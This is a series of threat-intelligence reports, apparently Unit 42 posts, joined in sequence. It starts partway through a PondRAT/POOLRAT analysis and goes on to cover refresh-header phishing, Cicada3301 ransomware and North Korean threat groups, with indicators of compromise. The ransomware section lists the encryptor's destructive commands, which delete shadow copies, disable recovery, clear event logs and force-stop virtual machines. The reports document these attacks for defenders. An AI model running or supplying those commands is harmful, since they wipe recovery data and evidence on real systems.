PondRAT has a straightforward set of commands that give the attacker the following capabilities:

  • Uploading and downloading files
  • Checking an implant’s status to confirm if it is active
  • Instructing the implant to pause operations for a specified duration (“sleep”)
  • Executing commands (with an option to either retrieve their output or not)

As the functionality of PondRAT is similar yet more limited than POOLRAT, we assess that PondRAT is a lighter version of POOLRAT. Table 1 below compares the commands implemented in POOLRAT and PondRAT.

POOLRAT Commands PondRAT Commands Description
MSG_Up MsgUp Download a file from the C2 server.
MSG_Down MsgDown Upload a file to the C2 Server.
MSG_Cmd MsgCmd Execute a command and retrieve the output.
MSG_Run MsgRun Execute a command and don’t retrieve the output.
MSG_ReadConfig Read the configuration file and send it to the C2.
MSG_WriteConfig Write a new configuration file.
MSG_SecureDel Delete a file.
MSG_Dir List a directory.
MSG_Test Attempt to connect to an IPv4 address. 
MSG_SetPath Change the current working directory.

Table 1. Comparison between POOLRAT and PondRAT commands.

Conclusion

We’ve examined the poisoned Python packages campaign and its ties to the North Korean Gleaming Pisces APT group. Our analysis of the Linux variant of PondRAT, which was dropped as the final payload in this campaign, revealed significant similarities to malware attributed to Gleaming Pisces (kupayupdate_stage2).

Furthermore, our investigation uncovered that PondRAT shares code similarities with POOLRAT, malware that was also previously attributed to Gleaming Pisces. The evidence of additional Linux variants of POOLRAT showed that Gleaming Pisces has been enhancing its capabilities across both Linux and macOS platforms.

The weaponization of legitimate-looking Python packages across multiple operating systems poses a significant risk to organizations. Such attacks pose a great risk because they can easily remain under the radar and pose detection challenges. Successful installation of malicious third-party packages can result in malware infection that compromises an entire network.

Protections and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group.

Cortex XDR and XSIAM help detect user and credential-based threats by analyzing user activity from multiple data sources, including the following:

  • Endpoints
  • Network firewalls
  • Active Directory
  • Identity and access management solutions
  • Cloud workloads

Cortex XDR and XSIAM build behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity and the expected behavior of the entity, Cortex XDR and XSIAM help detect anomalous activity indicative of credential-based attacks.

Palo Alto Networks also offers the following protections related to the attacks discussed in this post:

  • Helps prevent the execution of known malicious malware and execution of unknown malware by using Behavioral Threat Protection and machine learning based on the Local Analysis module.
  • Cortex XDR Pro and XSIAM help detect post-exploit activity, including credential-based attacks, with behavioral analytics.
  • Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the malware C2 traffic via the following Threat Prevention signature: 86805.
  • The Advanced WildFire machine learning models and analysis techniques have been reviewed and updated in light of these new PondRAT and POOLRAT variants. Multiple products in the Palo Alto Networks portfolio leverage Advanced WildFire to provide coverage against both PondRAT and POOLRAT variants and other threats.

If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

Indicators of Compromise

PondRAT Linux variant

  • 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c

PondRAT macOS variant

  • 0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7
  • 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e
  • bce1eb513aaac344b5b8f7a9ba9c9e36fc89926d327ee5cc095fb4a895a12f80
  • bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b
  • cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86

PondRAT C2s

  • jdkgradle[.]com
  • rebelthumb[.]net

POOLRAT Linux variant

  • f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703
  • 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456

POOLRAT C2s

  • www.talesseries[.]com/write.php
  • rgedist[.]com/sfxl.php

Phishing Pages Delivered Through Refresh HTTP Response Header

Executive Summary

Unit 42 researchers observed many large-scale phishing campaigns in 2024 that used a refresh entry in the HTTP response header. From May-July we detected around 2,000 malicious URLs daily that were associated with campaigns of this type.

Unlike other phishing webpage distribution behavior through HTML content, these attacks use the response header sent by a server, which occurs before the processing of the HTML content. Malicious links direct the browser to automatically refresh or reload a webpage immediately, without requiring user interaction.

Attackers predominantly distribute the malicious URLs in the phishing campaigns via emails. These emails consistently include recipients' email addresses and display spoofed webmail login pages based on the recipients' email domain pre-filled with the users’ information. They largely target people in the global financial sector, well-known internet portals and government domains.

Since the original and landing URLs are often found under legitimate or compromised domains, it is difficult to spot malicious indicators within a URL string. Furthermore, attackers use personalized approaches that increase the likelihood that they will deceive their victim.

Palo Alto Networks customers are better protected from the threats discussed above through Advanced URL Filtering (AURL). Besides identifying phishing URLs in the described scenario, AURL extracts patterns from these suspicious URLs and could discover additional phishing websites.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Business Email Compromise (BEC)

How the Header Refresh Technique Works

Phishing attackers commonly employ a variety of readily available tools and mechanisms to obscure their malicious intent and deceive their victims. We recently observed attackers using header refresh techniques to embed their phishing links and craft convincing email subjects to deceive customers.

These malicious links, which have the targeted user’s email address embedded in the refresh field of the HTTP response header, direct the browser to automatically refresh or reload a webpage immediately. They do so without requiring user interaction.

By carefully mimicking legitimate domains and redirecting victims to official sites, attackers can effectively mask their true objectives and increase the likelihood of successful credential theft. These tactics highlight the sophisticated strategies attackers use to avoid detection and exploit unsuspecting targets.

To see how the header refresh technique works, we will describe an example. In one phishing attempt we observed, the refresh field of the response header is:

Example of the header refresh code.

Below, Figure 1 shows the refresh entry in the HTTP response headers in response to the original URL, as seen using DevTools in Google Chrome.

Screenshot of an HTTP response header shown in DevTools. Highlighted in red is the request URL on top and the refresh URL on the bottom with some text redacted.
Figure 1. Example of an HTTP response header shown in DevTools.

The original and landing URLs are often found under legitimate or compromised domains and hosts, a technique that’s often effective in concealing malicious URL strings. Additionally, attackers frequently use legitimate domains that offer URL shortening, tracking or campaign marketing services.

Many attackers also employ deep linking to dynamically generate content that appears tailored to the individual target. By using parameters in the URL, they pre-fill sections of a form, enhancing the credibility of the phishing attempt.

This personalized approach increases the likelihood that the attacker will deceive the victim. Attackers have exploited this mechanism because it enables them to load phishing content with minimum effort while concealing the malicious content.

Example of Header Refresh Phishing Attacks

To trick their targets and steal their credentials, malicious links in these attacks consistently include an organization’s email address and display an email login page pre-filled with victims’ information.

Figure 2 returns to the example above, showing a related phishing page found on July 14, 2024.

Screenshot of a phishing page imitating a Microsoft login page requesting a password with the "Sign in" button visible. Some of the information is redacted.
Figure 2. Phishing page, sent through a refresh entry in an HTTP response header.

Table 1 below shows the original URL and the final URL from the phishing page in Figure 2. When clicking the original URL from the phishing email, the server hosting that original URL used a refresh entry in the HTTP response headers, as described in the previous section. This is used to redirect traffic to the final URL under the domain hk6.8ik8rq[.]ru.

This URL is the final address for the phishing page. In many cases, we find a landing URL between the original address and the final one in this chain.

Date Original URL Final URL (Header Link)
July 14, 2024 hxxp[:]//impactchd[.]in/content/bing/ghjkj/1kdeyl61ahaub/[Base64 string for recipient's email address] hxxps[:]//hk6.8ik8rq[.]ru/hk6/#[recipient's email address]

Table 1. Example of a phishing URL chain.

Phishing Campaign Example

From June 20-21, 2024, we observed large-scale phishing campaigns through emails predominantly targeting large corporations in Korea. We also saw campaigns targeting government agencies and schools in the U.S. One particular campaign was notable for its use of emails originating from the same source IP address at 195.19.93[.]5 and the same spoofed sender addresses of 2127394249@businessimageprint[.]com or 2127394249@docusign[.]com. Attackers varied the recipients across multiple domains ending with [.]gov, [.]edu and [.]com.

The most common email subject was Complete with DocuSign: ACH/EFT FORM ***. URLs embedded within these emails commonly contained a subpath of sf_rand_string_lowercase6. Figure 3 shows the campaign trending and Figure 4 shows the percentages of targeted industries.

Bar chart displaying the number of detections by date. The x-axis date range is April 16, 2024 to August 16, 2024. The y-axis measures the number of detections ranging from 0 to 800. Notable peaks include 771 detections on June 6, 2024 before tapering off. The Unit 42 and Palo Alto Networks lockup logo.
Figure 3. sf_rand_string_lowercase6 phishing campaign trending.
Pie chart showing the distribution of affected industries. Business and Economy lead with 34.6%, followed by Government at 15.8%, Educational Institutions at 13.7%, Computer and Internet at 8.4%, Health and Medicine at 4.8%, Training and Tools at 3.4%, Parked at 3.1%, and All Other Industries at 16.2%. The Unit 42 and Palo Alto Networks lockup logo.
Figure 4. Email domain industry distributions on sf_rand_string_lowercase6 campaign.

Over 34% of the attacks targeted people in the business-and-economy sector. Nearly 30% of the targets were from governments and educational institutions.

Attackers delivered the malicious links through header refresh URLs containing targeted recipients email addresses. Consistent with the email recipient’s domain, the final page would be automatically loaded with malicious link content when the victim clicks the link in the email body.

Upon landing on the phishing webpage, victims were presented with a login page requesting their credentials. An example of one of the campaigns is detailed on LinkedIn in our Unit 42 Timely Threat Intelligence post.

Large Phishing Campaigns Statistics

Phishing attacks target a large number of users in various organizations, encompassing numerous large-scale campaigns. Table 2 shows the top domains for the initial URLs used by large campaigns in the past three months, and Figure 5 shows the frequency of those top domains.

URL Domain URL Domain Category Number of Detections Most Frequent Date Top Targeted Industry
onelink[.]me Computer-and-internet-info 5,537 May 10, 2024 Financial-services
go[.]link  Business-and-economy 5,374 May 6, 2024 News
speedpython[.]com Malware 3,027 May 14, 2024 Government
club-os[.]com Business-and-economy 2,384 April 12, 2024 Business-and-economy (mostly in Japan)
guide-orientation[.]tn Educational-institutions 1,888 July 2, 2024 Business-and-economy

Table 2. Examples of large campaigns from April 12-July 7, 2024.

Line graph showing the number of detections for onelink.me, go.link, speedpython.com, club-os.com, and guide-orientation.tn over a period from April 14 to July 7, 2024. The graph highlights peaks in detections with the highest numbers labeled for clarity across various dates.
Figure 5. Number of detections for initial phishing URLs from top five domains, April 14 through July 7, 2024.

Different domains appeared during various time periods. Some campaigns, particularly those using malicious URLs under the domain onelink[.]me, have continued for a prolonged period. Figure 5 above shows the campaign had a peak on May 10, 2024, and lasted for about one month. The campaign targeted over 3,000 victims across more than 500 organizations.

Meanwhile, campaigns associated with the go[.]link domain experienced a sudden surge at the beginning of May, with over 5,000 malicious URLs detected. Domain club-os[.]com peaked on April 12, 2024, but persisted from late April to the present. In late June, we noticed a new campaign under guide-orientation[.]tn, which occurred most on July 2, 2024.

Affected Users

Phishing attacks aim to steal email login credentials from people at various organizations. Figure 6 shows the distribution of industries from our total detections in this wave of attacks.

Pie chart displaying the distribution across various industries. The largest segment is Business and Economy at 36.2%, followed by Financial Services at 12.9%. Other sectors include Government at 6.9%, Health and Medicine at 5.7%, and Computer and Internet at 5.4%. All Other Industries is at 32.9%. The Unit 42 and Palo Alto Networks lockup logo.
Figure 6. Percentages of targeted industries from our total detections.

Over 36% of the attacks largely targeted people in the global business-and-economy sector. The second-largest sector is financial services, including global banks and financial service companies. We also observed that phishing emails were sent to users of well known internet portals and government domains.

Since many companies use Microsoft/Outlook for their email service, the phishing pages frequently imitate the webmail login page, such as the Outlook webmail login portal shown below in Figure 7.

Phishing page impersonating Microsoft Outlook login screen with fields for entering username and password, along with a 'Sign in' button. Some parts of the username are redacted.
Figure 7. A phishing page impersonating the Outlook webmail login portal.

As shown in Table 3, the original URL of the above example was under domain cices[.]org but landed on a different domain dominicanmidia[.]com. When the victim clicked this URL, it reloaded a webpage under sirius-maritime[.]com and showed a fake Outlook webmail login page prefilled with the user's email address (associated with a technology company). The attack was designed to trick the user into entering their password on the fake page, exposing their credentials to the attacker.

The page allowed the victim to enter their password three times at most, capturing these attempts, then redirecting to the official site office[.]com. We also saw similar attacks targeting other recipients associated with different companies.

Date Original URL Landing URL Final URL (Header Link)
May 21, 2024 hxxps[:]//www[.]cices[.]org/?wptouch_switch=desktop&redirect=HtTPs[:]//dominicanmidia[.]com//zres/rezs/obld//[base64 string for recipient's email address] hxxps[:]//dominicanmidia[.]com//zres/rezs/obld//[base64 string for recipient's email address] hxxps[:]//sirius-maritime[.]com/0utl0ok/?email=[recipient's email address]
May 5, 2024 hxxps[:]//www[.]cices[.]org/?wptouch_switch=desktop&redirect=HtTPs[:]//dominicanmidia[.]com//zres/rezs/dnne//[base64 string for recipient's email address] hxxps[:]//dominicanmidia[.]com//zres/rezs/dnne//[base64 string for recipient's email address] hxxps[:]//sirius-maritime[.]com/0utl0ok/?email=[recipient's email address]
May 21, 2024 hxxps[:]//www[.]cices[.]org/?wptouch_switch=desktop&redirect=HtTPs[:]//dominicanmidia[.]com//zres/rezs/crej//[base64 string for recipient's email address] hxxps[:]//dominicanmidia[.]com//zres/rezs/crej//zres/rezs/crej//[base64 string for recipient's email address] hxxps[:]//sirius-maritime[.]com/0utl0ok/?email=[recipient's email address]

Table 3. Similar phishing attacks on different recipients.

Conclusion

In the additional resources section below, we've listed some examples of phishing webpage distribution behavior through HTML content, specifically through the injection of a malicious URL to the meta field of the HTML file. However, as of August 2024, no literature specifically addresses attacks using a refresh entry in the response header sent by a server that occurs before the server processes the HTML content of the response body.

This article documents the frequent use of HTTP refresh fields in HTTP response headers in phishing attacks.

In our research, we found no legitimate websites exhibiting this behavior. Although the refresh header can be useful in specific situations like dynamically updating websites, we more commonly see other methods such as JavaScript-based techniques or server-side push technologies like WebSockets.

Ultimately, organizations should be more aware of the potential for malicious use of HTTP refresh headers.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through Advanced URL Filtering. To identify phishing URLs in the described scenario, we analyzed the response headers of websites.

URLs containing an email address injected into the refresh field were typically flagged as suspicious. We extracted patterns from these suspicious URLs and discovered additional phishing websites.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

We have compiled a CSV file containing 58 examples of sanitized URL chains from May 1-July 2, 2024. It is available as a file in this GitHub repository.

Additional Resources

Threat Assessment: Repellent Scorpius, Distributors of Cicada3301 Ransomware

Executive Summary

Repellent Scorpius is a new ransomware-as-a-service (RaaS) group that distributes Cicada3301 ransomware. The ransomware group appears to have first emerged in May 2024, with a multi-extortion operation.

This report based on Unit 42 Incident Response engagements provides a technical analysis of the ransomware employed by the Repellent Scorpius group. It also covers other tactics, techniques and procedures (TTPs) observed during this attack.

In addition, we discuss Repellent Scorpius' connection to a historical incident involving data exfiltration, predating the group's operation under the Cicada3301 brand, as well as the ransomware group’s plans going forward. Finally, we provide a walkthrough of an updated encryptor obtained through external sources, highlighting the differences from its previous variant. Unit 42 anticipates a rise in Cicada3301 ransomware activity, leading to an increase in the number of victims.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Cybercrime, RaaS

Repellent Scorpius Threat Overview

Repellent Scorpius (distributors of Cicada3301 ransomware) is a new threat group that has recently emerged in the wild. Despite its recent inception, it is quickly picking up pace by setting up an affiliate program and recruiting partners. This has increased its number of victims according to the leak site.

There is an intriguing background associated with the name under which the ransomware group operates. According to Wikipedia, the name 3301 refers to three sets of highly complex and mysterious puzzles that first appeared on 4chan between 2012-2014, all signed with the pseudonym 3301. The third set of these puzzles remains unsolved to this day.

Based on the timeline from a Unit 42 Incident Response engagement, we estimate that the ransomware group began their operations in May 2024. Owing to the absence of other reports, we believe that this may be the beginning of their operations.

While the incidents may have begun around that time, we started to observe leak site activity in June. Despite a lack of activity on the leak site for around a month since June 19, the ransomware group has resumed operations.

Of note, we have observed signs that the group has data obtained in older compromise incidents. It is unclear whether this means that the threat actor previously operated using differently branded ransomware, or whether they have purchased or inherited data from other ransomware groups.

Screenshot of Cicada3301 leak site showing multiple posts with publication dates. Each post has redacted information image and text, with visible options to 'Open Post', 'User Info', and a 'Connect' button.
Figure 1. Cicada3301 leak site as of July 2024.

Repellent Scorpius employs a double extortion scheme of encrypting systems. This entails stealing data and threatening to publish it if the victim doesn’t pay the ransom.

Unit 42 has evidence to suggest that the Repellent Scorpius operators have developed a RaaS affiliate program. It operates a control panel for affiliates and ransom payment pages for victims, and actively recruits initial access brokers (IAB) and network intruders on Russian-language cybercrime forums.

Given the limited number of victims, it might be too early to suggest whether this ransomware group targets a particular sector or region. Having said that, one of the points in the FAQ section on the affiliate panel website says, “It is strictly prohibited to target the CIS countries.” (Translated from Russian.)

KrakenLabs posted a screenshot on X (formerly Twitter), displaying a Russian translated post by the Repellent Scorpius ransomware group on an underground forum to recruit partners for their affiliate program.

Incident Attack Lifecycle

We have mapped the attack stages captured from our incident response engagement to the MITRE ATT&CK® framework tactics, which we summarize below.

Initial Access

Multiple Remote Desktop Protocol (RDP) logon events were captured on a given host. Based on investigation findings and the group’s modus operandi, we assess that attackers achieved initial access through stolen credentials, possibly purchased from an IAB.

The public IP address predominantly associated was 103.42.240[.]37, as an RDP server with the hostname: WIN-RMM48SHAUPR. This IP address is associated with a Pakistan-based hosting provider 0DAYHOST (SMC-PRIVATE) LIMITED, while the autonomous system name indicates that Serverius Holding B.V. controls the IP address allocation.

Execution

Unit 42 investigators observed attackers employing a batch script named 1.bat to execute the ransomware payload against multiple hosts within the client network. Details regarding the ransomware payload, along with its arguments, are below.

Text file displaying multiple lines of code, with some information redacted.
Figure 2. Batch script with multiple ransomware command executions.

Lateral Movement

PsExec is a legitimate tool that attackers leveraged to execute the ransomware payload against different hosts within the network. The tool is embedded within the ransomware payload and later extracted, which we describe in further detail below. It was executed through the following PowerShell command:

Collection

Unit 42 investigators found the creation of the following file C:\ProgramData\found_shares.txt. There have been previous occurrences of PowerView, a PowerSploit PowerShell module, storing file share enumeration results in the same file path and multiple ransomware intrusions have leveraged this technique.

Exfiltration

Unit 42 investigators identified Rclone (a legitimate open-source utility) as the tool used for exfiltration. Attackers installed the tool in the ProgramData file path (C:\ProgramData\rclone.exe), along with the configuration file (C:\ProgramData\rclone.conf).

We observed 91.238.181[.]238 was the public IP address attackers used for exfiltration activity. This IP address comes from a hosting provider called VDS&VPN services.

The IP address in question has previously been flagged for Cobalt Strike activity (watermark: 674054486) and was potentially linked to other ransomware groups such as Bashful Scorpius (aka Nokoyawa) and Ambitious Scorpius (aka ALPHV/BlackCat) in 2023. This IP address was also observed trying to exploit ScreenConnect vulnerabilities, (CVE-2024-1708 and CVE-2024-1709) in February 2024.

Impact (Encryptor)

The ransomware is a 64-bit binary written in the programing language Rust, which accepts the following command-line arguments:

Figure 2 shows the threat actors used a batch script to execute the ransomware multiple times against a list of hard-coded directory paths in the victim network. The encryptor requires a key parameter to begin execution, which has been redacted from the image.

The binary performs a key validation routine, in which it attempts to decrypt an embedded ransom note using the ChaCha20 stream cipher [PDF].

The ransomware note is Base64-decoded. It is then decrypted using the first 32 bytes of the submitted key as the ChaCha20 secret key and the last 12 bytes of the submitted key as the nonce. Then it is Base64-decoded a final time.

The encryptor will validate the decryption process by checking whether the string ***is_ok*** exists in the decrypted data. If the validation is successful, execution proceeds.

The encryptor contains a legitimate copy of PsExec embedded within itself, which it will extract and save to the location C:\Users\Public\psexec0.exe. The malware will then create a copy of itself in the C:\Users\Public\ directory.

Once copied, it will use the PsExec binary to execute itself several more times, using hard-coded credentials stolen from the victim network during the preceding incursion. This may be an attempt to get the encryptor to run with higher privileges.

Next, the encryptor will run a series of commands to terminate services and processes, delete shadow copies and disable recovery features among other tasks. A list of the executed commands is below, and a full list of targeted processes and services is in the appendix.

Command Purpose
cmd /C fsutil behavior set SymlinkEvaluation R2L:1 Enables remote to local symbolic links
cmd /C fsutil behavior set SymlinkEvaluation R2R:1 Enables remote to remote symbolic links
cmd /C iisreset.exe /stop Stops Internet Information Services (IIS) 
cmd /C vssadmin.exe Delete Shadows /all /quiet Deletes volume shadow copies using VSSAdmin.exe
cmd /C wmic.exe Shadowcopy Delete Deletes volume shadow copies using the Windows Management Instrumentation Command-Line (WMIC) utility
cmd /C bcdedit /set {default} Possibly a misused command, as it requires additional parameters to execute properly
cmd /C bcdedit /set {default} recoveryenabled No Disables the automatic recover feature for the default boot entry
cmd /C “for /F 'tokens=*' %1 in ('wevtutil.exe el') DO wevtutil.exe cl %1” Clears Windows Event Logs
cmd /C reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f Sets the number of concurrent network requests to the maximum allowed
cmd /C sc stop <service> Stops the specified service
cmd /C taskkill /IM <process>* /F Forcefully terminates the specified process

Once the sample completes the above processes, it begins the encryption routine. By default, the ransomware will check for the existence of drives from A:\ to Z:\. The sample encrypts all files within detected drives, excluding files with specific extensions or files located in directories matching keywords. This information is listed in the appendix.

The encryptor renames files with a new extension before starting the encryption process. In the sample analyzed by Unit 42 the extension was kcr5umw.

The encryption process is composed of two sequences. First, the encryptor will read the contents of the target file, encrypt the contents using ChaCha20 with a randomly generated key secret and nonce bytes, and write the result back to the file. Second, the ChaCha20 key and nonce are encrypted using a hard-coded RSA public key, and the result is appended to the file. Finally, the extension is appended to the end of the encrypted data.

Once encryption of all files is complete, the sample will write the ransom note, named in the format RECOVER-<encrypted_file_extension>-DATA.txt. The contents of the note are as follows.

Links to Historical Incident

Unit 42 is aware of at least one case where Repellent Scorpius had access to a victim’s data, which attackers likely took in an incident several years prior. A forensic review of the victim’s environment identified no recent signs of compromise. A quick walkthrough of some of the TTPs observed during that incident were as follows:

MITRE Tactic Description
Execution
  • WinRAR to extract certain tools from its archive. 
  • Certutil leveraged for payload download. 
Persistence Multiple scheduled tasks were set up for hourly execution of different commands.
Credential access We observed the presence of tools such as Mimikatz and Impacket-based executables, primarily used for extracting credentials.
Discovery
  • Execution of ADRecon PowerShell script to gather information and extract artifacts from a given Active Directory, and a Rubeus based executable.
  • Some of the tools or built-in commands attackers used were wmic, nslookup, ping, ipconfig, net, quser, qwinsta and SoftPerfect Network Scanner.
Command and control
  • Reverse tunnel with adversary server via SSH
  • PowerShell command to send the victim IP address and hostname to a given hard-coded domain, via POST request.
  • Multiple other tools were used in this scenario, including Plink, GOST and a SOCKS proxy tool.

As previously mentioned, it is unclear how the Repellent Scorpius group possessed this data. However, we observed certain overlaps with another attack carried out by an affiliate that deployed BlackCat ransomware, reported in March 2022.

Examples include attackers using ADRecon and SoftPerfect Network Scanner tools, setting up a reverse SSH tunnel and creating similar scheduled tasks. That said, there was no evidence that BlackCat was deployed in this incident, likely due to the fact that different stages of the attack were thwarted.

While we did come across a few filename-based overlaps, we observed no substantial TTP overlaps between the recent ransomware incident and the historical one.

New Version of Encryptor

Unit 42 researchers found an updated Cicada3301 encryptor in late July 2024, which had some differences from the previously analyzed version.

Threat authors added a new command-line argument, --no-note. When this argument is invoked, the encryptor will not write the ransom note to the system.

Instead of running the embedded PsExec binary directly via PowerShell, the encryptor will create a randomly named .bat file in the C:\Users\Public directory, which executes using “cmd.exe /C”. Included in the created .bat file is a line to delete the script after execution is complete.

The most recent samples do not have hard-coded usernames or passwords in the binary but still retain the capability to execute PsExec using these credentials if they exist.

An example of the script is below:

Finally, the ransomware developers modified the methods used to stop services and added a PowerShell command to forcibly stop all running virtual machines (VMs) on the target system.

Command Action
powershell -Command "$excludedVMs = @(); Get-VM | Where-Object { $_.Name -notin $excludedVMs } | ForEach-Object { Stop-VM -Name $_.Name -Force -Confirm:$false }" Forcibly stops all running VMs. VM files that are not shut down before encryption are permanently damaged. 
for /F "tokens=2 delims=:" %i in ('sc query state^= all ^| findstr /I <service_name>) do sc stop %i  Stops all services containing the supplied service name.
cmd /C "net stop <serviceName> /y" Uses the net command to stop a running service. We list new services that the threat stops using this method in the appendix.

Conclusion

Although it may not currently appear to be widespread, Repellent Scorpius is actively hiring IAB and network intruders. It has also recently set up a RaaS affiliate program. Therefore, we can expect to see attackers posting a growing list of active incidents and victims on their leak site in the near future.

The TTPs highlighted here are from specific incident response engagements. Considering that the Cicada3301 ransomware is relatively new, we expect that its TTPs will change and evolve over time.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Hashes

8ec114b29c7f2406809337b6c68ab30b0b7f0d1647829d56125e84662b84ea74 Cicada3301 encryptor
0260258f6f083aff71c7549a6364cb05d54dd27f40ca1145e064353dd2a9e983 Batch script 1.bat containing multiple Cicada3301 encryptor execution commands
2d73b3aefcfbb47c1a187ddee7a48a21af7c85eb49cbdcb665db07375e36dc33 Cicada3301 encryptor
3969e1a88a063155a6f61b0ca1ac33114c1a39151f3c7dd019084abd30553eab Cicada3301 encryptor new variant
56e1d092c07322d9dad7d85d773953573cc3294b9e428b3bbbaf935ca4d2f7e7 Cicada3301 encryptor new variant

Infrastructure

  • 103.42.240[.]37
  • 91.238.181[.]238
  • cicadabv7vicyvgz5khl7v2x5yygcgow7ryy6yppwmxii4eoobdaztqd[.]onion/

Appendix

Appendix for Threat Assessment: Repellent Scorpius, Distributors of Cicada3301 Ransomware – GitHub, Palo Alto Networks

Additional Resources

 

Threat Assessment: North Korean Threat Groups

Executive Summary

Lazarus has been used in public reporting as an umbrella term for threat actors from the Democratic People's Republic of Korea (DPRK), commonly referred to as North Korea. However, many of these threat actors can be classified into different groups under the Reconnaissance General Bureau (RGB) of the Korean People's Army.

Over the years, the RGB has revealed at least six threat groups that we designate as:

These groups develop their own distinct set of malware that they have used to facilitate diverse types of operations, including:

  • Intelligence gathering missions
  • Asset recruitment
  • Destructive attacks
  • Financial crime

North Korean threat groups are a focus area in the 2024 MITRE ATT&CK enterprise evaluation.

This threat assessment reviews the different North Korean threat groups under the RGB that we track. We’ll also review 10 malware families observed in recent attacks carried out by North Korean threat groups. This includes malware for all three major operating systems: Windows, macOS and Linux.

In addition to describing each type of malware’s functionality and history, we will present their execution through the lens of Palo Alto Networks Cortex XDR. We will show how Cortex protects against known North Korean malware.

Palo Alto Networks customers receive better protections from the North Korean threat groups' arsenal and the techniques discussed in this blog through Cortex XDR. Cortex XDR provides a multi-layer defense that includes behavioral threat protection and exploit protection.

Our Advanced WildFire cloud-delivered malware analysis service accurately identifies samples related to these North Korean groups as malicious. Cloud-Delivered Security Services, including Advanced URL Filtering and Advanced DNS Security, identify domains associated with this group as malicious. Prisma Cloud leverages the power of XSIAM through the Cloud Security Agent (CSA) to better protect against novel malware.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics North Korea, RATs, Malware

North Korean Threat Groups Under the RGB

North Korean threat group activity is often referred to as Lazarus or the Lazarus Group in public reports. However, most of this activity is reportedly conducted by groups under the RGB, an organization that falls under the General Staff Bureau of the DPRK Korean People's Army.

These groups support the North Korean government through a combination of espionage, financial gain and geopolitical disruption. Some of the significant operations executed by these groups across the years include:

These groups have been reportedly active as early as 2007 [PDF]. Activity under the RGB can be categorized into at least six threat groups:

  • Alluring Pisces (aka APT38 [PDF], Bluenoroff, Sapphire Sleet): This group has targeted financial institutions, cryptocurrency businesses and ATMs. It has also conducted significant cyber heists.
  • Gleaming Pisces (aka Citrine Sleet): This group performed attacks targeting the cryptocurrency industry and is known for its association with the AppleJeus campaign.
  • Jumpy Pisces (aka Andariel, Hidden Cobra, Onyx Sleet): This group has primarily conducted cyberespionage, but it has also conducted ransomware activity.
  • Selective Pisces (aka Diamond Sleet, TEMP.Hermit [PDF], ZINC): This group has targeted media, defense and IT organizations. It focuses on espionage, financial gain and network destruction.
  • Slow Pisces (aka Jade Sleet, UNC4899): This group has targeted blockchain and cryptocurrency companies. It was also involved in a supply chain attack targeting a U.S.-based software platform and is known for distributing a series of malicious applications called TraderTraitor.
  • Sparkling Pisces (aka APT43 [PDF], Emerald Sleet, Kimsuky, THALLIUM): This group conducts intelligence collection and has used cybercrime to fund espionage.

These groups have evolved over the years, and we often find overlaps in the tactics, techniques and tools. Figure 1 shows a simplified organizational chart for these groups under the RGB.

An organizational chart titled 'Democratic People’s Republic of Korea (DPRK, also called North Korea): Threat Actors under the Reconnaissance General Bureau.' The chart illustrates the connection between the Reconnaissance General Bureau and various cyber threat groups such as Alluring Pisces, Gleaming Pisces, Jumpy Pisces, Selective Pisces, Slow Pisces, and Sparkling Pisces, each with associated aliases.
Figure 1. Organizational chart for North Korean threat groups under the RGB, showing both Unit 42 names and other akas.

Figure 1 does not include all North Korean state-sponsored threat actors, only those under the RGB. Other threat groups that operate outside of the RGB also conduct malicious cyber activity for North Korea.

These North Korean threat groups use a wide arsenal of tools that span across the Windows, Linux and macOS platforms.

MITRE ATT&CK Enterprise Evaluation

MITRE chose North Korean threat groups as one of the focus areas for this year’s MITRE ATT&CK enterprise evaluation. In this threat assessment, we focus on North Korean threat groups due to their worldwide reach and the impact of their operation on multiple industries and across multiple regions.

We chose the top 10 most recently active types of malware from North Korean threat groups. This threat assessment includes a brief technical analysis for each type of malware, and it shows how Cortex XDR detects and prevents these threats.

Recent North Korean Malware Arsenal Analysis

